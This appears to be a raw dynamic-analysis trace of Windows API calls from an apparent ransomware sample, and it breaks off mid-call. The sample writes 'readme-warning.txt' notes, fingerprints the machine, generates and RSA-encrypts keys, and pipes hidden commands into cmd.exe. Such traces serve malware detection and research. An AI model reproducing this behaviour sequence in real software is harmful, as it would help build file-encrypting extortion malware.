wsprintfA (in: param_1=0x18f574, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0056.363] GetProcessHeap () returned 0x2ef0000 [0056.363] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f16328 [0056.363] GetProcessHeap () returned 0x2ef0000 [0056.363] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.363] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f500, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.363] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f58c | out: pbData=0x2f110e8, pdwDataLen=0x18f58c) returned 1 [0056.363] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.363] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f590, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.363] wsprintfW (in: param_1=0x18e544, param_2="%s\\%s" | out: param_1="C:\\readme-warning.txt") returned 21 [0056.363] CreateFileW (lpFileName="C:\\readme-warning.txt" (normalized: "c:\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0056.368] WriteFile (in: hFile=0xb8, lpBuffer=0x2f16328*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18e540, lpOverlapped=0x0 | out: lpBuffer=0x2f16328*, lpNumberOfBytesWritten=0x18e540*=0x3b3, lpOverlapped=0x0) returned 1 [0056.369] CloseHandle (hObject=0xb8) returned 1 [0056.373] GetProcessHeap () returned 0x2ef0000 [0056.373] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.373] wsprintfW (in: param_1=0x18ed50, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0056.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0056.379] WriteFile (in: hFile=0xb8, lpBuffer=0x2f16328*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18ed4c, lpOverlapped=0x0 | out: lpBuffer=0x2f16328*, lpNumberOfBytesWritten=0x18ed4c*=0x3b3, lpOverlapped=0x0) returned 1 [0056.380] CloseHandle (hObject=0xb8) returned 1 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10590 | out: hHeap=0x2ef0000) returned 1 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16328 | out: hHeap=0x2ef0000) returned 1 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c9b8 | out: hHeap=0x2ef0000) returned 1 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c970 | out: hHeap=0x2ef0000) returned 1 [0056.381] SetErrorMode (uMode=0x1) returned 0x0 [0056.381] GetLogicalDrives () returned 0x4 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c970 [0056.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f2b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.381] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c970, pdwDataLen=0x18f320 | out: pbData=0x2f0c970, pdwDataLen=0x18f320) returned 1 [0056.381] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.381] GetProcessHeap () returned 0x2ef0000 [0056.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f2b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.382] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f320 | out: pbData=0x2f110e8, pdwDataLen=0x18f320) returned 1 [0056.382] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.382] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f31c | out: phkResult=0x18f31c*=0xb8) returned 0x0 [0056.382] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18f328, lpcbData=0x18f324*=0x400 | out: lpType=0x0, lpData=0x18f328*=0x30, lpcbData=0x18f324*=0x18) returned 0x0 [0056.382] RegCloseKey (hKey=0xb8) returned 0x0 [0056.382] GetProcessHeap () returned 0x2ef0000 [0056.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c970 | out: hHeap=0x2ef0000) returned 1 [0056.382] GetProcessHeap () returned 0x2ef0000 [0056.382] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.382] GetProcessHeap () returned 0x2ef0000 [0056.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f090, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.382] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f0f4 | out: pbData=0x2f110e8, pdwDataLen=0x18f0f4) returned 1 [0056.382] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.382] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f0f8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f0f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f0f0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.383] GetProcessHeap () returned 0x2ef0000 [0056.383] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.383] wsprintfA (in: param_1=0x18f33f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0056.383] wsprintfW (in: param_1=0x18f750, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0056.383] wsprintfW (in: param_1=0x18f760, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0056.383] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.383] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f740, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f740*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.383] GetProcessHeap () returned 0x2ef0000 [0056.383] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x34) returned 0x2f152d0 [0056.383] wsprintfW (in: param_1=0x2f152d0, param_2="%c:" | out: param_1="C:") returned 2 [0056.383] CreateFileW (lpFileName="\\\\.\\C:" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0056.384] DeviceIoControl (in: hDevice=0xb8, dwIoControlCode=0x560000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x18f770, nOutBufferSize=0x20, lpBytesReturned=0x18f744, lpOverlapped=0x0 | out: lpOutBuffer=0x18f770*, lpBytesReturned=0x18f744*=0x20, lpOverlapped=0x0) returned 1 [0056.384] CloseHandle (hObject=0xb8) returned 1 [0056.384] GetProcessHeap () returned 0x2ef0000 [0056.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb08 [0056.384] GetProcessHeap () returned 0x2ef0000 [0056.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14b20 [0056.384] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x20, pbBuffer=0x2f14b2c | out: pbBuffer=0x2f14b2c) returned 1 [0056.384] GetProcessHeap () returned 0x2ef0000 [0056.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14c70 [0056.384] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x20, pbBuffer=0x2f14c7c | out: pbBuffer=0x2f14c7c) returned 1 [0056.384] GetProcessHeap () returned 0x2ef0000 [0056.384] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.384] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f730, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a08) returned 1 [0056.384] CryptDecrypt (in: hKey=0x2f11a08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f798 | out: pbData=0x2f110e8, pdwDataLen=0x18f798) returned 1 [0056.385] CryptDestroyKey (hKey=0x2f11a08) returned 1 [0056.385] GetProcessHeap () returned 0x2ef0000 [0056.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f11a08 [0056.385] GetProcessHeap () returned 0x2ef0000 [0056.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f149f0 [0056.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f0e408, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f778 | out: phKey=0x18f778*=0x2f11a90) returned 1 [0056.385] CryptEncrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11a08*, pdwDataLen=0x18f77c*=0x75, dwBufLen=0x80 | out: pbData=0x2f11a08*, pdwDataLen=0x18f77c*=0x80) returned 1 [0056.385] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0056.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f0e408, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18f778 | out: phKey=0x18f778*=0x2f11a90) returned 1 [0056.385] CryptEncrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f149f0*, pdwDataLen=0x18f77c*=0x75, dwBufLen=0x80 | out: pbData=0x2f149f0*, pdwDataLen=0x18f77c*=0x80) returned 1 [0056.385] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f11ba0 [0056.386] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f720, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0056.386] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11ba0, pdwDataLen=0x18f788 | out: pbData=0x2f11ba0, pdwDataLen=0x18f788) returned 1 [0056.386] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f110e8 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0ee80 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ee68 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x19) returned 0x2f11278 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ed60 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xd) returned 0x2f0ee20 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11160 [0056.386] GetProcessHeap () returned 0x2ef0000 [0056.386] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1b) returned 0x2f11138 [0056.387] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0056.387] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0056.387] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0056.387] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0056.387] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0056.387] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0056.387] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0056.387] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0056.387] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0056.388] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11ba0 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee80 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11278 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ed60 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee20 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11160 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11138 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1000) returned 0x2f16328 [0056.388] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2f16328, ObjectInformationLength=0x1000, ReturnLength=0x18f76c | out: ObjectInformation=0x2f16328, ReturnLength=0x18f76c) returned 0xc0000004 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16328 | out: hHeap=0x2ef0000) returned 1 [0056.388] GetProcessHeap () returned 0x2ef0000 [0056.388] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2000) returned 0x2f16328 [0056.388] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x2f16328, ObjectInformationLength=0x2000, ReturnLength=0x18f76c | out: ObjectInformation=0x2f16328, ReturnLength=0x18f76c) returned 0x0 [0056.389] RtlGetVersion (in: lpVersionInformation=0x18f658 | out: lpVersionInformation=0x18f658*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0056.389] GetProcessHeap () returned 0x2ef0000 [0056.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16328 | out: hHeap=0x2ef0000) returned 1 [0056.389] GetVersion () returned 0x1db10106 [0056.389] GetCurrentProcess () returned 0xffffffff [0056.389] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f790 | out: TokenHandle=0x18f790*=0xb8) returned 1 [0056.389] GetTokenInformation (in: TokenHandle=0xb8, TokenInformationClass=0x18, TokenInformation=0x18f794, TokenInformationLength=0x4, ReturnLength=0x18f798 | out: TokenInformation=0x18f794, ReturnLength=0x18f798) returned 1 [0056.389] CloseHandle (hObject=0xb8) returned 1 [0056.389] Wow64DisableWow64FsRedirection (in: OldValue=0x18f7b4 | out: OldValue=0x18f7b4*=0x0) returned 1 [0056.389] GetProcessHeap () returned 0x2ef0000 [0056.389] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x5e0) returned 0x2f16328 [0056.389] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f748, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0056.389] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16328, pdwDataLen=0x18f7c4 | out: pbData=0x2f16328, pdwDataLen=0x18f7c4) returned 1 [0056.389] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0056.389] GetProcessHeap () returned 0x2ef0000 [0056.389] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.389] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f090, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0056.389] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f13c | out: pbData=0x2f110e8, pdwDataLen=0x18f13c) returned 1 [0056.389] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0056.389] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0x18f188, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0056.390] CreatePipe (in: hReadPipe=0x18f108, hWritePipe=0x18f104, lpPipeAttributes=0x18f130, nSize=0x0 | out: hReadPipe=0x18f108*=0xb8, hWritePipe=0x18f104*=0xc0) returned 1 [0056.390] CreatePipe (in: hReadPipe=0x18f0fc, hWritePipe=0x18f10c, lpPipeAttributes=0x18f130, nSize=0x0 | out: hReadPipe=0x18f0fc*=0xc4, hWritePipe=0x18f10c*=0x120) returned 1 [0056.390] SetHandleInformation (hObject=0xc0, dwMask=0x1, dwFlags=0x0) returned 1 [0056.390] SetHandleInformation (hObject=0xc4, dwMask=0x1, dwFlags=0x0) returned 1 [0056.390] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f140*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120), lpProcessInformation=0x18f11c | out: lpCommandLine=0x0, lpProcessInformation=0x18f11c*(hProcess=0x128, hThread=0x124, dwProcessId=0x730, dwThreadId=0x78c)) returned 1 [0056.494] WriteFile (in: hFile=0xc0, lpBuffer=0x2f16328*, nNumberOfBytesToWrite=0x5ca, lpNumberOfBytesWritten=0x18f118, lpOverlapped=0x0 | out: lpBuffer=0x2f16328*, lpNumberOfBytesWritten=0x18f118*=0x5ca, lpOverlapped=0x0) returned 1 [0056.494] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0056.906] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.907] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0060.896] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.896] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0060.961] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0060.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.025] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.067] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.156] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.156] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.199] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.331] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.331] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.848] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.911] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0061.962] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0061.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.172] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x8f, lpBytesLeftThisMessage=0x0) returned 1 [0062.172] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x8f, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x8f, lpOverlapped=0x0) returned 1 [0062.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.243] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x1a, lpBytesLeftThisMessage=0x0) returned 1 [0062.243] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x18f12c, 